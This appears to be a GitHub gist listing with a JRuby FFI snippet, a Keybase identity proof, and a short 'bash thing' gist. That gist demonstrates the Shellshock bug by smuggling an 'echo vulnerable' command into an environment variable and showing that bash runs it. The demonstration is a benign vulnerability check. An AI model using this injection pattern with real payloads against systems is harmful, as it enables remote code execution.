Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env jruby
# This code works fine in MRI, but not JRuby. For some strange reason
# jruby cannot superclass FFI::MemoryPointer or FFI::Buffer and override
# the initialize() method.
require 'ffi'
class SpecialBuffer < FFI::Buffer
def initialize()
super(256)
@emonti
emonti / its_a_bash_thing.txt
Last active August 29, 2015 14:06
It's a bash thing
~ export x="() { :;}; echo vulnerable"
~ bash -c "echo hi"
vulnerable
hi
~ sh -c "echo hi"
vulnerable
hi
~ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
@emonti
emonti / keybase.md
Created June 13, 2014 21:44
Keybase Proof

Keybase proof

I hereby claim:

  • I am emonti on github.
  • I am emonti (https://keybase.io/emonti) on keybase.
  • I have a public key whose fingerprint is 9281 C1DF F521 9F9C 2C8F 1608 CB1A 656F B6F8 E778

To claim this, I am signing this object: